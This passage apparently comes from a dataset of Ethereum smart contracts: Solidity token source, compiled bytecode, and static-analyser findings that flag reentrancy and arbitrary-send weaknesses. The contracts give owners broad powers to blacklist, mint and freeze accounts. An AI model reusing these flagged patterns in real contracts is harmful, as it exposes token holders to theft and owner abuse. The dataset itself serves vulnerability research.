rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function setFee(uint256 buyFee, uint256 sellFee)external onlyOwner() { if (sellFee <= 15 && buyFee <= 15) { _buyFee = buyFee; _sellFee = sellFee; } } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101235760003560e01c8063715018a6116100a0578063a9059cbb11610064578063a9059cbb1461033f578063b515566a1461035f578063c3c8cd801461037f578063c9567bf914610394578063dd62ed3e146103a957600080fd5b8063715018a61461029d578063733ec069146102b25780638da5cb5b146102d257806395d89b41146102fa5780639e78fb4f1461032a57600080fd5b80632b51106a116100e75780632b51106a1461020c578063313ce5671461022c57806352f7c988146102485780636fc3eaec1461026857806370a082311461027d57600080fd5b806306fdde031461012f578063095ea7b31461017557806318160ddd146101a557806323b872dd146101ca578063273123b7146101ea57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600b81526a5073796475636b2043617760a81b60208201525b60405161016c91906116d8565b60405180910390f35b34801561018157600080fd5b50610195610190366004611752565b6103ef565b604051901515815260200161016c565b3480156101b157600080fd5b50670de0b6b3a76400005b60405190815260200161016c565b3480156101d657600080fd5b506101956101e536600461177e565b610406565b3480156101f657600080fd5b5061020a6102053660046117bf565b61046f565b005b34801561021857600080fd5b5061020a6102273660046117ea565b6104c3565b34801561023857600080fd5b506040516009815260200161016c565b34801561025457600080fd5b5061020a610263366004611807565b61050b565b34801561027457600080fd5b5061020a61055b565b34801561028957600080fd5b506101bc6102983660046117bf565b610592565b3480156102a957600080fd5b5061020a6105b4565b3480156102be57600080fd5b5061020a6102cd366004611807565b610628565b3480156102de57600080fd5b506000546040516001600160a01b03909116815260200161016c565b34801561030657600080fd5b506040805180820190915260078152665053594455434b60c81b602082015261015f565b34801561033657600080fd5b5061020a61066c565b34801561034b57600080fd5b5061019561035a366004611752565b6108ab565b34801561036b57600080fd5b5061020a61037a36600461183f565b6108b8565b34801561038b57600080fd5b5061020a61094a565b3480156103a057600080fd5b5061020a61098a565b3480156103b557600080fd5b506101bc6103c4366004611904565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103fc338484610b55565b5060015b92915050565b6000610413848484610c79565b610465843361046085604051806060016040528060288152602001611b03602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fbc565b610b55565b5060019392505050565b6000546001600160a01b031633146104a25760405162461bcd60e51b81526004016104999061193d565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ed5760405162461bcd60e51b81526004016104999061193d565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146105355760405162461bcd60e51b81526004016104999061193d565b600f81111580156105475750600f8211155b1561055757600c829055600b8190555b5050565b6000546001600160a01b031633146105855760405162461bcd60e51b81526004016104999061193d565b4761058f81610ff6565b50565b6001600160a01b03811660009081526002602052604081205461040090611030565b6000546001600160a01b031633146105de5760405162461bcd60e51b81526004016104999061193d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106525760405162461bcd60e51b81526004016104999061193d565b66470de4df82000082111561055757601091909155601155565b6000546001600160a01b031633146106965760405162461bcd60e51b81526004016104999061193d565b600f54600160a01b900460ff16156106f05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610499565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b15801561075057600080fd5b505afa158015610764573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107889190611972565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107d057600080fd5b505afa1580156107e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108089190611972565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085057600080fd5b505af1158015610864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108889190611972565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b60006103fc338484610c79565b6000546001600160a01b031633146108e25760405162461bcd60e51b81526004016104999061193d565b60005b8151811015610557576001600660008484815181106109065761090661198f565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610942816119bb565b9150506108e5565b6000546001600160a01b031633146109745760405162461bcd60e51b81526004016104999061193d565b600061097f30610592565b905061058f816110b4565b6000546001600160a01b031633146109b45760405162461bcd60e51b81526004016104999061193d565b600e546109d49030906001600160a01b0316670de0b6b3a7640000610b55565b600e546001600160a01b031663f305d71947306109f081610592565b600080610a056000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6857600080fd5b505af1158015610a7c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aa191906119d6565b5050600f805466470de4df820000601081905560115563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b1d57600080fd5b505af1158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058f9190611a04565b6001600160a01b038316610bb75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610499565b6001600160a01b038216610c185760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610499565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cdd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610499565b6001600160a01b038216610d3f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610499565b60008111610da15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610499565b6001600160a01b03831660009081526006602052604090205460ff1615610dc757600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610e0957506001600160a01b03821660009081526005602052604090205460ff16155b15610fac576000600955600c54600a55600f546001600160a01b038481169116148015610e445750600e546001600160a01b03838116911614155b8015610e6957506001600160a01b03821660009081526005602052604090205460ff16155b8015610e7e5750600f54600160b81b900460ff165b15610eb9576000610e8e83610592565b9050601054821115610e9f57600080fd5b601154610eac838361123d565b1115610eb757600080fd5b505b600f546001600160a01b038381169116148015610ee45750600e546001600160a01b03848116911614155b8015610f0957506001600160a01b03831660009081526005602052604090205460ff16155b15610f1a576000600955600b54600a555b6000610f2530610592565b600f54909150600160a81b900460ff16158015610f505750600f546001600160a01b03858116911614155b8015610f655750600f54600160b01b900460ff165b15610faa576000610f77600483611a21565b9050610f838183611a43565b9150610f8e8161129c565b610f97826110b4565b478015610fa757610fa747610ff6565b50505b505b610fb78383836112d2565b505050565b60008184841115610fe05760405162461bcd60e51b815260040161049991906116d8565b506000610fed8486611a43565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610557573d6000803e3d6000fd5b60006007548211156110975760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610499565b60006110a16112dd565b90506110ad8382611300565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110fc576110fc61198f565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561115057600080fd5b505afa158015611164573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111889190611972565b8160018151811061119b5761119b61198f565b6001600160a01b039283166020918202929092010152600e546111c19130911684610b55565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111fa908590600090869030904290600401611a5a565b600060405180830381600087803b15801561121457600080fd5b505af1158015611228573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061124a8385611acb565b9050838110156110ad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610499565b600f805460ff60a81b1916600160a81b17905580156112c2576112c23061dead83610c79565b50600f805460ff60a81b19169055565b610fb7838383611342565b60008060006112ea611439565b90925090506112f98282611300565b9250505090565b60006110ad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611479565b600080600080600080611354876114a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113869087611504565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546113b5908661123d565b6001600160a01b0389166000908152600260205260409020556113d781611546565b6113e18483611590565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161142691815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006114548282611300565b82101561147057505060075492670de0b6b3a764000092509050565b90939092509050565b6000818361149a5760405162461bcd60e51b815260040161049991906116d8565b506000610fed8486611a21565b60008060008060008060008060006114c48a600954600a546115b4565b92509250925060006114d46112dd565b905060008060006114e78e878787611609565b919e509c509a509598509396509194505050505091939550919395565b60006110ad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fbc565b60006115506112dd565b9050600061155e8383611659565b3060009081526002602052604090205490915061157b908261123d565b30600090815260026020526040902055505050565b60075461159d9083611504565b6007556008546115ad908261123d565b6008555050565b60008080806115ce60646115c88989611659565b90611300565b905060006115e160646115c88a89611659565b905060006115f9826115f38b86611504565b90611504565b9992985090965090945050505050565b60008080806116188886611659565b905060006116268887611659565b905060006116348888611659565b90506000611646826115f38686611504565b939b939a50919850919650505050505050565b60008261166857506000610400565b60006116748385611ae3565b9050826116818583611a21565b146110ad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610499565b600060208083528351808285015260005b81811015611705578581018301518582016040015282016116e9565b81811115611717576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461058f57600080fd5b803561174d8161172d565b919050565b6000806040838503121561176557600080fd5b82356117708161172d565b946020939093013593505050565b60008060006060848603121561179357600080fd5b833561179e8161172d565b925060208401356117ae8161172d565b929592945050506040919091013590565b6000602082840312156117d157600080fd5b81356110ad8161172d565b801515811461058f57600080fd5b6000602082840312156117fc57600080fd5b81356110ad816117dc565b6000806040838503121561181a57600080fd5b50508035926020909101359150565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561185257600080fd5b823567ffffffffffffffff8082111561186a57600080fd5b818501915085601f83011261187e57600080fd5b81358181111561189057611890611829565b8060051b604051601f19603f830116810181811085821117156118b5576118b5611829565b6040529182528482019250838101850191888311156118d357600080fd5b938501935b828510156118f8576118e985611742565b845293850193928501926118d8565b98975050505050505050565b6000806040838503121561191757600080fd5b82356119228161172d565b915060208301356119328161172d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561198457600080fd5b81516110ad8161172d565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156119cf576119cf6119a5565b5060010190565b6000806000606084860312156119eb57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611a1657600080fd5b81516110ad816117dc565b600082611a3e57634e487b7160e01b600052601260045260246000fd5b500490565b600082821015611a5557611a556119a5565b500390565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611aaa5784516001600160a01b031683529383019391830191600101611a85565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ade57611ade6119a5565b500190565b6000816000190483118215151615611afd57611afd6119a5565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122042b3d1361838d656dca619d398120b8dd1a030a32367421f3f5eb1c2a44bc0e064736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,645
0x64c7da318530f02f36225107786ab6963bf6add8
pragma solidity >=0.5.2 <0.6.0; contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes calldata _extraData) external; } contract CloudToken { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This generates a public event on the blockchain that will notify clients event Approval(address indexed _owner, address indexed _spender, uint256 _value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != address(0x0)); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool success) { _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, address(this), _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply emit Burn(_from, _value); return true; } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract AdvCloudToken is owned, CloudToken { uint256 public sellPrice; uint256 public buyPrice; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string memory tokenName, string memory tokenSymbol ) CloudToken(initialSupply, tokenName, tokenSymbol) public {} /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != address(0x0)); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice Create `mintedAmount` tokens and send it to `target` /// @param target Address to receive the tokens /// @param mintedAmount the amount of tokens it will receive function mintToken(address target, uint256 mintedAmount) onlyOwner public { balanceOf[target] += mintedAmount; totalSupply += mintedAmount; emit Transfer(address(0), address(this), mintedAmount); emit Transfer(address(this), target, mintedAmount); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth /// @param newSellPrice Price the users can sell to the contract /// @param newBuyPrice Price users can buy from the contract function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public { sellPrice = newSellPrice; buyPrice = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function buy() payable public { uint amount = msg.value / buyPrice; // calculates the amount _transfer(address(this), msg.sender, amount); // makes the transfers } /// @notice Sell `amount` tokens to contract /// @param amount amount of tokens to be sold function sell(uint256 amount) public { address myAddress = address(this); require(myAddress.balance >= amount * sellPrice); // checks if the contract has enough ether to buy _transfer(msg.sender, address(this), amount); // makes the transfers msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It&#39;s important to do this last to avoid recursion attacks } }
0x608060405260043610610152576000357c0100000000000000000000000000000000000000000000000000000000900480638620410b116100c8578063b414d4b61161008c578063b414d4b6146106ce578063cae9ca5114610737578063dd62ed3e14610841578063e4849b32146108c6578063e724529c14610901578063f2fde38b1461095e57610152565b80638620410b1461053f5780638da5cb5b1461056a57806395d89b41146105c1578063a6f2ae3a14610651578063a9059cbb1461065b57610152565b8063313ce5671161011a578063313ce5671461035d57806342966c681461038e5780634b750334146103e157806370a082311461040c57806379c650681461047157806379cc6790146104cc57610152565b806305fefda71461015757806306fdde031461019c578063095ea7b31461022c57806318160ddd1461029f57806323b872dd146102ca575b600080fd5b34801561016357600080fd5b5061019a6004803603604081101561017a57600080fd5b8101908080359060200190929190803590602001909291905050506109af565b005b3480156101a857600080fd5b506101b1610a1c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f15780820151818401526020810190506101d6565b50505050905090810190601f16801561021e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023857600080fd5b506102856004803603604081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aba565b604051808215151515815260200191505060405180910390f35b3480156102ab57600080fd5b506102b4610bac565b6040518082815260200191505060405180910390f35b3480156102d657600080fd5b50610343600480360360608110156102ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bb2565b604051808215151515815260200191505060405180910390f35b34801561036957600080fd5b50610372610cdf565b604051808260ff1660ff16815260200191505060405180910390f35b34801561039a57600080fd5b506103c7600480360360208110156103b157600080fd5b8101908080359060200190929190505050610cf2565b604051808215151515815260200191505060405180910390f35b3480156103ed57600080fd5b506103f6610df6565b6040518082815260200191505060405180910390f35b34801561041857600080fd5b5061045b6004803603602081101561042f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dfc565b6040518082815260200191505060405180910390f35b34801561047d57600080fd5b506104ca6004803603604081101561049457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e14565b005b3480156104d857600080fd5b50610525600480360360408110156104ef57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f9b565b604051808215151515815260200191505060405180910390f35b34801561054b57600080fd5b506105546111b5565b6040518082815260200191505060405180910390f35b34801561057657600080fd5b5061057f6111bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105cd57600080fd5b506105d66111e0565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106165780820151818401526020810190506105fb565b50505050905090810190601f1680156106435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61065961127e565b005b34801561066757600080fd5b506106b46004803603604081101561067e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061129e565b604051808215151515815260200191505060405180910390f35b3480156106da57600080fd5b5061071d600480360360208110156106f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b5565b604051808215151515815260200191505060405180910390f35b34801561074357600080fd5b506108276004803603606081101561075a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156107a157600080fd5b8201836020820111156107b357600080fd5b803590602001918460018302840111640100000000831117156107d557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f8201169050808301925050505050505091929192905050506112d5565b604051808215151515815260200191505060405180910390f35b34801561084d57600080fd5b506108b06004803603604081101561086457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611459565b6040518082815260200191505060405180910390f35b3480156108d257600080fd5b506108ff600480360360208110156108e957600080fd5b810190808035906020019092919050505061147e565b005b34801561090d57600080fd5b5061095c6004803603604081101561092457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611507565b005b34801561096a57600080fd5b506109ad6004803603602081101561098157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061162c565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a0a57600080fd5b81600781905550806008819055505050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ab25780601f10610a8757610100808354040283529160200191610ab2565b820191906000526020600020905b815481529060010190602001808311610a9557829003601f168201915b505050505081565b600081600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610c3f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550610cd48484846116ca565b600190509392505050565b600360009054906101000a900460ff1681565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610d4257600080fd5b81600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a260019050919050565b60075481565b60056020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e6f57600080fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806004600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a38173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515610feb57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561107657600080fd5b81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816004600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a26001905092915050565b60085481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112765780601f1061124b57610100808354040283529160200191611276565b820191906000526020600020905b81548152906001019060200180831161125957829003601f168201915b505050505081565b60006008543481151561128d57fe5b04905061129b3033836116ca565b50565b60006112ab3384846116ca565b6001905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b6000808490506112e58585610aba565b15611450578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113df5780820151818401526020810190506113c4565b50505050905090810190601f16801561140c5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561142e57600080fd5b505af1158015611442573d6000803e3d6000fd5b505050506001915050611452565b505b9392505050565b6006602052816000526040600020602052806000526040600020600091509150505481565b600030905060075482028173ffffffffffffffffffffffffffffffffffffffff1631101515156114ad57600080fd5b6114b83330846116ca565b3373ffffffffffffffffffffffffffffffffffffffff166108fc60075484029081150290604051600060405180830381858888f19350505050158015611502573d6000803e3d6000fd5b505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561156257600080fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b6000809054906101000a90